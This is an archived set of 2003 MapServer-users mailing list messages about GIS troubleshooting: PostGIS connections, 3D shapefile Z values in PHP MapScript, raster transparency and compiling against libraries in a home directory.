charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

Hi
It seems to me that 'mapxy=3Dshape' in = a mapserv url=20 only works with shapefiles not with PostGis data. Is this right? I want = to zoom=20 to features found in an itemnquery.
 
 
 
Martin H=F8gh
Sven Allan Jensen=20 as
Sankelmarksgade 9
9000 Aalborg
Tlf. 98129300
Direkte tlf. = 96314082
mh at svaj.dk
------=_NextPart_000_001E_01C2B595.73434C20-- From lfilak at medinaco.org Mon Jan 6 06:27:28 2003 From: lfilak at medinaco.org (Lowell Filak) Date: Mon, 06 Jan 2003 09:27:28 -0500 Subject: [Mapserver-users] making the demo work with non-gif GD libs Message-ID: <200301061424.h06EOUR11622@yogi.medinaco.net> You could try "convert" - part of the Imagemagick package. HTH Lowell F. The following message was sent by richard hornsby on Mon, 6 Jan 2003 09:03:51 -0500 (EST). > > I think I'm running with GD libs somewhere around 1.8, but the point being > that they don't support GIF rendering, because of the patent issues, etc. > However, when running the mapserv demo, I wasn't getting errors > specifically related to GD - instead I was getting things like: > > msLoadMap(): General error message. Undefined symbol "symbols/ctyhwy.gif" > in class 0 of layer ctyrdln3_anno. > > The "symbol" exists in the directory that it should. The docs suggest to > comment out large sections of your .map file. However, I converted the > .gif symbols and 'reference.gif' to pngs, and changed the references in > demo.map to png, it works happily. > > Slightly off-topic, for larger projects which need this kind of > conversion, you can certainly use sed on the .map file, but does anyone > know of tools to convert images between formats quickly (ala sox)? > > thanks > -rj > > -- > Information Center, n.: > A room staffed by professional computer people whose job it is to > tell you why you cannot have the information you require. > > rj hornsby . systems engineer . www.osuedc.org > human and community resource development > p 614 688 8761 . f 614 688 8762 > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From Chip.Hankley at GASAI.Com Mon Jan 6 06:47:22 2003 From: Chip.Hankley at GASAI.Com (Hankley, Chip) Date: Mon, 6 Jan 2003 08:47:22 -0600 Subject: [Mapserver-users] making the demo work with non-gif GD libs Message-ID: <3DFF131E4E6D2D4198CDD758F35A535302785274@postoffice.GASAI.Com> > does anyone know of tools to convert images between formats > quickly (ala sox)? > Infranview is free, and supports conversion. You can do command line conversions too. It ALSO supports conversion of MrSID files to *other* formats. On the windows side, Paint Shop Pro has a batch convert utility that works great. IMHO, PSP is about the most unbelievable bargain at around $75 w/ respect to image manipulation. Chip From ian at geography.leeds.ac.uk Mon Jan 6 07:11:21 2003 From: ian at geography.leeds.ac.uk (Ian Turton) Date: Mon, 06 Jan 2003 15:11:21 +0000 Subject: [Mapserver-users] Off topic a bit: Java GML reader/writer... In-Reply-To: <00d401c2b35d$732f8620$1637ba8c@sfdev3> References: Message-ID: <5.1.0.14.0.20030106150938.080001d8@geog.leeds.ac.uk> At 07:22 PM 03/01/2003, Norman Vine wrote: >Steve writes: > > > > Hi folks: Does anyone know a java-based GML reader/writer class? I'm > > looking to use it to load/save features > > for a simple online digitizing applet (see > > http://maps.dnr.state.mn.us/digitize/java/appletTest.html, requires > > java 2 plugin) using WFS. Thanks much... > >a Google( "class gml" ) turns up >http://www.geotools.org/docs/uk/ac/leeds/ccg/gml/GMLReader.html Ignore that one its quite old and only reads gml 1.0 - for a GML2.0/1 reader look at geotools2 (www.geotools.org). If it doesn't contain the writing code from GeoServer then let me know and I'll prod Rob as he promised to move it over before Xmas. Ian Ian Turton, Director, Centre for Computational Geography, University of Leeds, Leeds, LS2 9JT http://www.geog.leeds.ac.uk/people/i.turton http://www.ccg.leeds.ac.uk http://www.geotools.org +44 (0) 113 343 3392 fax: +44 (0) 113 343 3308 From jeff at propertykey.com Mon Jan 6 07:51:59 2003 From: jeff at propertykey.com (Jeff Hoffmann) Date: Mon, 06 Jan 2003 09:51:59 -0600 Subject: [Mapserver-users] Mapserver to SVG Demo In-Reply-To: References: Message-ID: <3E19A61F.8050009@propertykey.com> Geoff Anderson wrote: > > Here's the Mapserver to SVG Demo. It loads the current Mapserver map > image into SVG. The image is not converted to SVG, just provides a > raster base map over which SVG stuff can be implemented. On browsers > where the SVG mouse events work, users may "digitize" points and query > PostGIS by point coordinates (which might be correct...). That's pretty cool. I've been thinking about playing around with a similar concept, although purely vector based (or mixed vector/raster). Have you tried doing something like this except using the WFS output available in mapserver 3.7-dev version & running the output through a gml2svg XSLT? It seems like that should be a pretty straightforward process. I'm really new to the whole SVG thing but just recently I saw a demo where you can dynamically modify the SVG in the client and thought it'd be a great way to create annotatable maps in a web browser. Now it's just a matter of finding the time to play around with it. > Please let me know if anyone wants the PHP source. It's not pretty, but > it seems to work. Do you know of a good tutorial on the web when it comes to scripting inside the SVGs? I think that's where the biggest learning curve for me would come into play. -- Jeff Hoffmann PropertyKey.com From dlowther at ou.edu Mon Jan 6 08:07:11 2003 From: dlowther at ou.edu (Lowther, David W) Date: Mon, 6 Jan 2003 10:07:11 -0600 Subject: [Mapserver-users] Mapserver / PostGIS Layer Message-ID: Hi List and Happy New Year! I have been struggling with a situation related to Mapserver and PostGIS layers and I was hoping someone might help me out. I have PostGIS running on Redhat. I have 2 web/mapserver (3.6.3) servers (Intel WinNT4.0 IIS4.0) that access this PostGIS database. One is a test server (located in the same domain as the PostGIS server) and one is a live server (located in a separate domain from the PostGIS server). Using the same connection information in a mapfile the test server can access and map the PostGIS database with no problem - as could the live server when it was in the domain - but the live server fails to connect with an error (msPOSTGISLayerOpen(): Query error. Error parsing POSTGIS connection information.) now that it is outside the domain. I am stressing the domain issue here because I can't think of any other difference in the two servers. - PGAdmin from the live server connects with no problem. - ODBC connectivity from the live server works fine. - The mapfiles on the test and live servers are identical except for necessary directory differences. - Checked password, hostname, connection type, socket connections enabled as instructed in debug version of Mapserver build, but if they work on the test server shouldn't they work on the live? - Added live server to pg_hba.conf although test server does not appear and connects successfully: host all 216.226.17.176 255.255.255.0 trust - Initialize postmaster with -i option to allow tcp/ip connections. - tcpip_socket=true in postgresql.conf. - Tried using port=5432 in the CONNECTION param for mapfile - no difference in behaviour. Heres the layer from the mapfile: ### ROADS ### LAYER GROUP "Selected" NAME "gradyRoads" CONNECTIONTYPE postgis CONNECTION "user=*** password=*** dbname=*** host=***" DATA "the_geom from (select oid,* from roads) as foo" TYPE LINE STATUS OFF PROJECTION #GEOGRAPHIC NAD83 proj=longlat ellps=GRS80 no_defs END TEMPLATE "IDgradyRoads.htm" CLASS# NAME "Grady Roads" SYMBOL "line" SIZE 2 OUTLINECOLOR -1 -1 -1 COLOR 10 200 100 END METADATA legend_order "5" END END Would anyone be willing to try connecting to the PostGIS server using Mapserver if I were to provide ip, db, un, and pwd info? I'm just completely stuck at this point. Thanks so much for everyone's help getting me to this point and thanks in advance for all your help with this issue, David Lowther Software Engineer GEO Information Systems University of Oklahoma dlowther at ou.edu (405) 325-3131 http://www.geo.ou.edu From Chip.Hankley at GASAI.Com Mon Jan 6 09:43:28 2003 From: Chip.Hankley at GASAI.Com (Hankley, Chip) Date: Mon, 6 Jan 2003 11:43:28 -0600 Subject: [Mapserver-users] Z values from 3D shapefiles (PHP MapScript) Message-ID: <3DFF131E4E6D2D4198CDD758F35A53530278527E@postoffice.GASAI.Com> Is there a way to access the Z-values of the vertices in a 3D shapefile? I have a 3D LINE shapefile that I created in ArcView. When I try to loop through the shapefile, each shape type is returned as MS_SHAPE_NULL. I'm not able to access the individual 'lines', apparently, for this type. The code I'm using is: //Open the shapefile and spit out the results for each line. $oShpFile = ms_newShapefileObj($shpPath, -1); for ($i=0;$i < $oShpFile->numshapes;$i++) { $oShp = $oShpFile->getShape($i); for($j=0; $j < $oShp->numlines; $j++) { $oLine = $oShp->line($i); for($k=0; $k<$oLine->numpoints; $k++) { $point = $oLine->point($k); echo $point->x . "," . $point->y . "," . $point->m . "
"; } //$oLine->free(); } $oShp->free(); } $oShpFile->free(); Thanks! Chip From pramsey at refractions.net Mon Jan 6 09:57:04 2003 From: pramsey at refractions.net (Paul Ramsey) Date: Mon, 06 Jan 2003 09:57:04 -0800 Subject: [Mapserver-users] Mapserver / PostGIS Layer In-Reply-To: References: Message-ID: <3E19C370.3020305@refractions.net> David, is it possible you have a name resolution problem? If you specify your host using a raw IP address, does it work better? Lowther, David W wrote: > Hi List and Happy New Year! > > I have been struggling with a situation related to Mapserver and PostGIS > layers and I was hoping someone might help me out. > -- __ / | Paul Ramsey | Refractions Research | Email: pramsey at refractions.net | Phone: (250) 885-0632 \_ From morissette at dmsolutions.ca Mon Jan 6 10:36:13 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Mon, 06 Jan 2003 13:36:13 -0500 Subject: [Mapserver-users] Z values from 3D shapefiles (PHP MapScript) References: <3DFF131E4E6D2D4198CDD758F35A53530278527E@postoffice.GASAI.Com> Message-ID: <3E19CC9D.A50DAA15@dmsolutions.ca> MapScript supports 2D shapefiles (x,y), and measured shapefiles (x,y,m), but it doesn't support shapefiles with Z values (x,y,z). I would think that someone could add this fairly easily by looking at the latest version of Shapelib and porting the changes to suppport the Z types to the MapServer version of shapelib. Perhaps you could file this as an enhancement in bugzilla, and if someone ever has time... Daniel "Hankley, Chip" wrote: > > Is there a way to access the Z-values of the vertices in a 3D shapefile? I > have a 3D LINE shapefile that I created in ArcView. When I try to loop > through the shapefile, each shape type is returned as MS_SHAPE_NULL. I'm not > able to access the individual 'lines', apparently, for this type. > > The code I'm using is: > > //Open the shapefile and spit out the results for each line. > $oShpFile = ms_newShapefileObj($shpPath, -1); > for ($i=0;$i < $oShpFile->numshapes;$i++) { > $oShp = $oShpFile->getShape($i); > for($j=0; $j < $oShp->numlines; $j++) { > $oLine = $oShp->line($i); > for($k=0; $k<$oLine->numpoints; $k++) { > $point = $oLine->point($k); > echo $point->x . "," . $point->y . "," . $point->m . "
"; > } > //$oLine->free(); > } > $oShp->free(); > } > $oShpFile->free(); > > Thanks! > > Chip From warmerdam at pobox.com Mon Jan 6 10:41:21 2003 From: warmerdam at pobox.com (Frank Warmerdam) Date: Mon, 06 Jan 2003 13:41:21 -0500 Subject: [Mapserver-users] Z values from 3D shapefiles (PHP MapScript) In-Reply-To: <3E19CC9D.A50DAA15@dmsolutions.ca> References: <3DFF131E4E6D2D4198CDD758F35A53530278527E@postoffice.GASAI.Com> <3E19CC9D.A50DAA15@dmsolutions.ca> Message-ID: <3E19CDD1.203@pobox.com> Daniel Morissette wrote: > MapScript supports 2D shapefiles (x,y), and measured shapefiles (x,y,m), > but it doesn't support shapefiles with Z values (x,y,z). I would think > that someone could add this fairly easily by looking at the latest > version of Shapelib and porting the changes to suppport the Z types to > the MapServer version of shapelib. Perhaps you could file this as an > enhancement in bugzilla, and if someone ever has time... Chip / Daniel, I would also note that 3D shapefiles can be accessed through OGR. I am not sure it is worth complicating the existing fast 3D shapefile support in MapServer when those wanting to use 3D shapefiles can just use OGR-in-Mapserver. Also, utilities like ogr2ogr can be used to flatten a shapefile to 2D if needed. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From morissette at dmsolutions.ca Mon Jan 6 10:49:11 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Mon, 06 Jan 2003 13:49:11 -0500 Subject: [Mapserver-users] Z values from 3D shapefiles (PHP MapScript) References: <3DFF131E4E6D2D4198CDD758F35A53530278527E@postoffice.GASAI.Com> <3E19CC9D.A50DAA15@dmsolutions.ca> <3E19CDD1.203@pobox.com> Message-ID: <3E19CFA7.CEB35FCC@dmsolutions.ca> Frank Warmerdam wrote: > > Chip / Daniel, > > I would also note that 3D shapefiles can be accessed through OGR. I am > not sure it is worth complicating the existing fast 3D shapefile support > in MapServer when those wanting to use 3D shapefiles can just use > OGR-in-Mapserver. Also, utilities like ogr2ogr can be used to flatten > a shapefile to 2D if needed. > True. I didn't think about that. I guess that solves the issue for you Chip, unless you need access to the Z values in MapScript in which case we would have to add a 'z' value to the pointObj and modify mapogr.cpp to set the z value. With the current version if you access a 3D shapefile with OGR the Z values are simply dropped. Daniel -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From Chip.Hankley at GASAI.Com Mon Jan 6 10:56:17 2003 From: Chip.Hankley at GASAI.Com (Hankley, Chip) Date: Mon, 6 Jan 2003 12:56:17 -0600 Subject: [Mapserver-users] Z values from 3D shapefiles (PHP MapScript) Message-ID: <3DFF131E4E6D2D4198CDD758F35A535302785284@postoffice.GASAI.Com> > I guess that solves the issue for you Chip, unless you need access to the > Z values in MapScript. I'd like to use the z values of the shapefile to create profiles... so what I'm trying to do, is get the individual z values for each vertex in a shape. So, I understand that I can't do this through mapScript... but I don't see a way to do it with OGR either (albeit my OGR experience is pretty limited). Am I missing something? From steve.lime at dnr.state.mn.us Mon Jan 6 11:15:06 2003 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Mon, 06 Jan 2003 13:15:06 -0600 Subject: [Mapserver-users] Fwd: Problem about true type font Message-ID: Received: from mail.state.mn.us (state.mn.us [156.99.125.109]) by co5.dnr.state.mn.us; Mon, 06 Jan 2003 01:43:43 -0600 Return-Path: Received: from [64.4.9.174] by mail.state.mn.us with ESMTP for steve.lime at state.mn.us; Mon, 6 Jan 2003 01:43:42 -0600 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sun, 5 Jan 2003 23:43:42 -0800 Received: from 203.185.132.122 by lw9fd.law9.hotmail.msn.com with HTTP; Mon, 06 Jan 2003 07:43:41 GMT X-Originating-IP: [203.185.132.122] From: "world geo" To: Steve.Lime at state.mn.us Bcc: Subject: Problem about true type font Date: Mon, 06 Jan 2003 07:43:41 +0000 Message-Id: X-OriginalArrivalTime: 06 Jan 2003 07:43:42.0327 (UTC) FILETIME=[55A23070:01C2B557] MIME-Version: 1.0 Content-Type: text/plain; format=flowed Content-Transfer-Encoding: 7bit I setup Map server on windows 98 success,but have some question about truetype font ,I use thai text on map and I use Truetype font of window that support thai font (window-874),but it not match all character .How to solve this problem,Edit Font file or recompile mapserver ? i use 1.ms36png_gdal_pg_wms.zip: Outputs PNG, or JPEG images; input includes shapefiles, many OGR supported vector datasets, GDAL supported raster files, PostgreSQL 7.2.1/PostGIS 0.7.1 geospatial databases; TrueType font support; OGC WMS compliant; Proj.4 projection support. 2.Apache 2.0 i want to know please help me _________________________________________________________________ Add photos to your e-mail with MSN 8. Get 2 months FREE*. http://join.msn.com/?page=features/featuredemail From morissette at dmsolutions.ca Mon Jan 6 12:05:40 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Mon, 06 Jan 2003 15:05:40 -0500 Subject: [Mapserver-users] Z values from 3D shapefiles (PHP MapScript) References: <3DFF131E4E6D2D4198CDD758F35A535302785284@postoffice.GASAI.Com> <3E19E115.B799C133@dmsolutions.ca> Message-ID: <3E19E194.CF965D8E@dmsolutions.ca> Daniel Morissette wrote: > > "Hankley, Chip" wrote: > > > > I'd like to use the z values of the shapefile to create profiles... so what > > I'm trying to do, is get the individual z values for each vertex in a shape. > > So, I understand that I can't do this through mapScript... but I don't see a > > way to do it with OGR either (albeit my OGR experience is pretty limited). > > Am I missing something? > > You could use the $layer->open()/close() and $layer->getShape() to read > shapes out of an OGR data source (or any data source that MapServer > supports). > > The only problem is that those calls are intended to be used to read > shapes returned by a query call, so they don't provide the equivalent of > the shapefileObj->numshapes member. Assuming your shapefile is not too > big then you could do a queryByAttributes() with an attribute filter > that matches all shapes in your layer, and then the query results will > contain the shape id of all shapes in your layer. > > It might also be possible to implement a new $layer->getNextShape() > method that would allow someone to sequentially read all shapes using a > layerObj. > > Now, where do we go from there? I'll file those comments in the bug > report and we can continue the discussion there: > http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=255 > > I would be interested in hearing what Steve thinks about adding support > for Z values in MapServer since this implies an increase in size of the > pointObj, which means more memory per shapeObj, all this for a feature > that very few users will use. Perhaps that should be made available as > a compile option? > > Daniel > -- > ------------------------------------------------------------ > Daniel Morissette morissette at dmsolutions.ca > DM Solutions Group http://www.dmsolutions.ca/ > ------------------------------------------------------------ -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From steve.lime at dnr.state.mn.us Mon Jan 6 12:06:31 2003 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Mon, 06 Jan 2003 14:06:31 -0600 Subject: [Mapserver-users] (no subject) Message-ID: Should work with any datasource, assuming that source populates the extent properties of a shape when it's retrieved. Steve >>> "Martin Hoegh" 01/06/03 08:08AM >>> Hi It seems to me that 'mapxy=shape' in a mapserv url only works with shapefiles not with PostGis data. Is this right? I want to zoom to features found in an itemnquery. Martin H?gh Sven Allan Jensen as Sankelmarksgade 9 9000 Aalborg Tlf. 98129300 Direkte tlf. 96314082 mh at svaj.dk From blewis at atsincorp.com Mon Jan 6 12:10:45 2003 From: blewis at atsincorp.com (Ben Lewis) Date: Mon, 6 Jan 2003 15:10:45 -0500 Subject: [Mapserver-users] MapServer performance vs Java servers Message-ID: <4514D1DE1E069744839F24247A635032027FF9@deathstar.ats.atsincorp.com> Can anyone speak to performance comparisons (for shape and PostGIS vectors) between MapServer and open source Java servers out there - GeoServer, Degree (JaGo), OpenMap? How about for TIFFs? One would think java-based servers would be a bit slower, but are they? - Ben -----Original Message----- From: GAIA [mailto:mapserver at peligroso.gaiaenv.com] Sent: Thursday, January 02, 2003 6:26 PM To: Mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] Fastest Data Format Hi all, I just read my posting, which sounds somewhat curt and it wasn't meant to be. Shapefiles are nice and quick for the most part and MapServer is still the best solution for us by far. Having said that, the SDE performance is not up to par with the rest of the application. As part of our model, we promote multiple applications hitting a common data set. SDE connectivity is a must as our needs and many of our clients' needs evolve (many of our clients use SDE already), and we were excited to see its inclusion. Shapefiles have, for the most part, performed well for us, even with large data sets. Performance aside, as we and our clients manage larger data sets, the data management convenience of a RDBMS approach is more logical and cost effective. The volume of tiles can get rediculous with large data sets and multiple clients. Now, if we could only realise the performance... Cheers, GAIA _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From lornknight at yahoo.com Mon Jan 6 12:49:48 2003 From: lornknight at yahoo.com (Andrew Covey) Date: Mon, 6 Jan 2003 12:49:48 -0800 (PST) Subject: [Mapserver-users] Compile/library problems Message-ID: <20030106204948.77970.qmail@web41410.mail.yahoo.com> Hello, I am attempting to install MapServer via an account with an ISP, who allowed me to install the necessary support libraries (in my home dir). When I attempt to compile map server, I specify where the libs are - just as ./configure --help specifies I should. ./configure will, under no circumstances, acknowledge the presence of the libraries I have compiled. I have had this compile problem with other Redhat boxes, and Gentoo Linux boxes also. Slackware seems to behave well however. Sadly, my ISP is using RedHat 7.2, and will not change distros just for little'ole me. Can anyone help me figure out why I can't seem to compile in the libs I compiled and installed in my home dir? Need my ISP install the libraries instead of myself for some reason? Any help would be most appreciated. Thanks, Andrew C. From Jean-Francois.Doyon at CCRS.NRCan.gc.ca Mon Jan 6 13:01:45 2003 From: Jean-Francois.Doyon at CCRS.NRCan.gc.ca (Jean-Francois.Doyon at CCRS.NRCan.gc.ca) Date: Mon, 6 Jan 2003 16:01:45 -0500 Subject: [Mapserver-users] Compile/library problems Message-ID: <7CDD7B94357FD5119E800002A537C46E230558@s5-ccr-r1.ccrs.nrcan.gc.ca> Andrew, Hmmmm. When you say installed, you mean you configure with a --prefix, and then did a "make install"? If so, the problem is probably simply the path you're giving to configure ... let's say you created ~/lib and ~/include to put your librairies in ... In this case, you saying --with-gd=/ might just work (the lib and include directories are ofthen "assumed" by configure scripts. This becomes sligghtly clearer if you use a subdirectory for your styff, so ~/mylibs inside which you create lib and include, and then feed ~/mylibs to your configure ... In some cases, you can try pointing to the src directory where the library has been built. But you're going to have a bigger problem. The system linker on your ISP's server isn't going to find the librairies it wants to dynamically load. To get around this, either you get them to update their linker paths (ld.so.conf), which is unlikely they would do, or you use your own linker ... Or, last resort, statically build your cgi executable ... though I couldn't help you with that I'm afraid! J.F. -----Original Message----- From: Andrew Covey [mailto:lornknight at yahoo.com] Sent: Monday, January 06, 2003 3:50 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Compile/library problems Hello, I am attempting to install MapServer via an account with an ISP, who allowed me to install the necessary support libraries (in my home dir). When I attempt to compile map server, I specify where the libs are - just as ./configure --help specifies I should. ./configure will, under no circumstances, acknowledge the presence of the libraries I have compiled. I have had this compile problem with other Redhat boxes, and Gentoo Linux boxes also. Slackware seems to behave well however. Sadly, my ISP is using RedHat 7.2, and will not change distros just for little'ole me. Can anyone help me figure out why I can't seem to compile in the libs I compiled and installed in my home dir? Need my ISP install the libraries instead of myself for some reason? Any help would be most appreciated. Thanks, Andrew C. _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From hunt at zedxinc.com Mon Jan 6 13:23:34 2003 From: hunt at zedxinc.com (Aaron D. Hunt) Date: Mon, 6 Jan 2003 16:23:34 -0500 Subject: [Mapserver-users] raster transparent color Message-ID: <008901c2b5c9$ded5e950$1805000a@zedxinc.com> This is a multi-part message in MIME format. ------=_NextPart_000_0086_01C2B59F.F5CA7970 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Is there a way to make a color on a raster to be transparent? I have = some georef images of interpolated fields with a white fill out side the = field boundary. I want to overlay the interpolated fields with ortho = backgrounds.=20 Thank you for any help Aaron D. Hunt ------=_NextPart_000_0086_01C2B59F.F5CA7970 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Is there a way to make a color on a = raster to be=20 transparent? I have some georef images of interpolated fields with a = white fill=20 out side the field boundary. I want to overlay the interpolated fields = with=20 ortho backgrounds.
 
Thank you for any help
 
Aaron D. = Hunt
------=_NextPart_000_0086_01C2B59F.F5CA7970-- From gadoury at dmsolutions.ca Mon Jan 6 13:29:51 2003 From: gadoury at dmsolutions.ca (Dean Gadoury) Date: Mon, 06 Jan 2003 16:29:51 -0500 Subject: [Mapserver-users] raster transparent color References: <008901c2b5c9$ded5e950$1805000a@zedxinc.com> Message-ID: <3E19F54F.6060003@dmsolutions.ca> --------------040306020206060507070608 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit You can use OFFSITE for this. Example: LAYER NAME "raster_image" DATA "../data/image.tif" TYPE RASTER STATUS ON OFFSITE 0 END Pixels with a value of 0 will not be drawn, or will be drawn transparent depending on how you look at it. Aaron D. Hunt wrote: > Is there a way to make a color on a raster to be transparent? I have > some georef images of interpolated fields with a white fill out side > the field boundary. I want to overlay the interpolated fields with > ortho backgrounds. > > Thank you for any help > > Aaron D. Hunt --------------040306020206060507070608 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit You can use OFFSITE for this. Example:

  LAYER
    NAME "raster_image"
    DATA "../data/image.tif"
    TYPE RASTER
    STATUS ON
    OFFSITE 0
  END

Pixels with a value of 0 will not be drawn, or will be drawn transparent depending on how you look at it.

Aaron D. Hunt wrote:
Is there a way to make a color on a raster to be transparent? I have some georef images of interpolated fields with a white fill out side the field boundary. I want to overlay the interpolated fields with ortho backgrounds.
 
Thank you for any help
 
Aaron D. Hunt
--------------040306020206060507070608-- From m.spring at gmx.de Mon Jan 6 13:34:50 2003 From: m.spring at gmx.de (m.spring at gmx.de) Date: Mon, 06 Jan 2003 22:34:50 +0100 Subject: [Mapserver-users] Compile/library problems In-Reply-To: <7CDD7B94357FD5119E800002A537C46E230558@s5-ccr-r1.ccrs.nrcan.gc.ca> (Jean-Francois.Doyon@CCRS.NRCan.gc.ca's message of "Mon, 6 Jan 2003 16:01:45 -0500") References: <7CDD7B94357FD5119E800002A537C46E230558@s5-ccr-r1.ccrs.nrcan.gc.ca> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Jean-Francois.Doyon at CCRS.NRCan.gc.ca writes: > > But you're going to have a bigger problem. The system linker on your ISP's > server isn't going to find the librairies it wants to dynamically load. To > get around this, either you get them to update their linker paths > (ld.so.conf), which is unlikely they would do, or you use your own linker Just a shot in the dark: This should be configurable with the environment variable LD_LOAD_PATH. At least Apache allows to set Environment variables for CGI skripts, but you have to see the docs. Markus -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Processed by Mailcrypt 3.5.6 and Gnu Privacy Guard iD8DBQE+GfZ6xxUzQSse11ARAvYtAJ0S9+P9W+YCJGYTcFIIWBTZOEZXpACeJsaU 9myYI/xMq8tAahYoiJ3vbUc= =8neL -----END PGP SIGNATURE----- From m.spring at gmx.de Mon Jan 6 13:38:25 2003 From: m.spring at gmx.de (m.spring at gmx.de) Date: Mon, 06 Jan 2003 22:38:25 +0100 Subject: [Mapserver-users] Compile/library problems In-Reply-To: <7CDD7B94357FD5119E800002A537C46E230558@s5-ccr-r1.ccrs.nrcan.gc.ca> (Jean-Francois.Doyon@CCRS.NRCan.gc.ca's message of "Mon, 6 Jan 2003 16:01:45 -0500") References: <7CDD7B94357FD5119E800002A537C46E230558@s5-ccr-r1.ccrs.nrcan.gc.ca> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Jean-Francois.Doyon at CCRS.NRCan.gc.ca writes: > > But you're going to have a bigger problem. The system linker on your ISP's > server isn't going to find the librairies it wants to dynamically load. To > get around this, either you get them to update their linker paths > (ld.so.conf), which is unlikely they would do, or you use your own linker Just a shot in the dark: This should be configurable with the environment variable LD_LOAD_PATH. At least Apache allows to set Environment variables for CGI skripts, but you have to see the docs. Markus -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Processed by Mailcrypt 3.5.6 and Gnu Privacy Guard iD8DBQE+GfdRxxUzQSse11ARAiHJAKCC7LzijAw+1oehGXfMr52kUr9qgACePZ7+ oS4xuons+9ikA1HXHmNaEZg= =Nd2t -----END PGP SIGNATURE----- From Jean-Francois.Doyon at CCRS.NRCan.gc.ca Mon Jan 6 13:42:40 2003 From: Jean-Francois.Doyon at CCRS.NRCan.gc.ca (Jean-Francois.Doyon at CCRS.NRCan.gc.ca) Date: Mon, 6 Jan 2003 16:42:40 -0500 Subject: [Mapserver-users] Compile/library problems Message-ID: <7CDD7B94357FD5119E800002A537C46E230559@s5-ccr-r1.ccrs.nrcan.gc.ca> Very true, hadn't thought about that, but again, his ISP *might* object about that ... If they don't, they can use the SetEnv configuration directive in apache to set LD_LIBRARY_PATH ... J.F. -----Original Message----- From: m.spring at gmx.de [mailto:m.spring at gmx.de] Sent: Monday, January 06, 2003 4:35 PM To: mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] Compile/library problems -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Jean-Francois.Doyon at CCRS.NRCan.gc.ca writes: > > But you're going to have a bigger problem. The system linker on your ISP's > server isn't going to find the librairies it wants to dynamically load. To > get around this, either you get them to update their linker paths > (ld.so.conf), which is unlikely they would do, or you use your own linker Just a shot in the dark: This should be configurable with the environment variable LD_LOAD_PATH. At least Apache allows to set Environment variables for CGI skripts, but you have to see the docs. Markus -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: Processed by Mailcrypt 3.5.6 and Gnu Privacy Guard iD8DBQE+GfZ6xxUzQSse11ARAvYtAJ0S9+P9W+YCJGYTcFIIWBTZOEZXpACeJsaU 9myYI/xMq8tAahYoiJ3vbUc= =8neL -----END PGP SIGNATURE----- _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From morissette at dmsolutions.ca Mon Jan 6 13:49:31 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Mon, 06 Jan 2003 16:49:31 -0500 Subject: [Mapserver-users] Compile/library problems References: <7CDD7B94357FD5119E800002A537C46E230558@s5-ccr-r1.ccrs.nrcan.gc.ca> Message-ID: <3E19F9EB.460906A4@dmsolutions.ca> Actually, I have compiled MapServer and all support libraries, including PHP MapScript in a home account a few times before, so it's possible ot do it. As JF pointed, first you have to specify --with-prefix to all the support libraries that you compile in your home account (GD, Freetype, GDAL/OGR, PHP, etc.). Assuming that your home account is /home/myaccount then I would suggest that you install all support libs under /home/myaccount/local ... so for all support libraries that you compile you would configure them using --prefix=/home/myaccount/local and using 'make install' for each library will install the libs and header files in the right location in your account. Then when you configure MapServer, specify the path to each library, e.g. ./configure --with-gd=/home/myaccount/local \ --with-gdal=/home/myaccount/local/bin/gdal-config ...... Then compile MapServer normally. The last issue that was pointed by JF is that by default the system won't find the libraries in your home directory. You can first try using --enable-runpath when you configure MapServer but that may not work well. You have a few other options: - If you manage your own Apache instance then set LD_LIBRARY_PATH in your httpd.conf: SetEnv LD_LIBRARY_PATH /home/myaccount/local/lib - If your ISP maintains a Apache VirtualHost for your account then the above directive can be added by them in the VirtualHost setting - If none of the above is an option for you then you can create a small shell script to encapsulate your mapserv CGI: ---- mapserv.sh ---- #! /bin/sh export LD_LIBRARY_PATH=/home/myaccount/local/lib /home/myaccount/mapserver/mapserv --------------------- And then place that mapserv.sh in your cgi-bin directory. I hope that helps, Daniel Jean-Francois.Doyon at ccrs.nrcan.gc.ca wrote: > > Andrew, > > Hmmmm. When you say installed, you mean you configure with a --prefix, and > then did a "make install"? > > If so, the problem is probably simply the path you're giving to configure > ... > > let's say you created ~/lib and ~/include to put your librairies in ... In > this case, you saying --with-gd=/ might just work (the lib and include > directories are ofthen "assumed" by 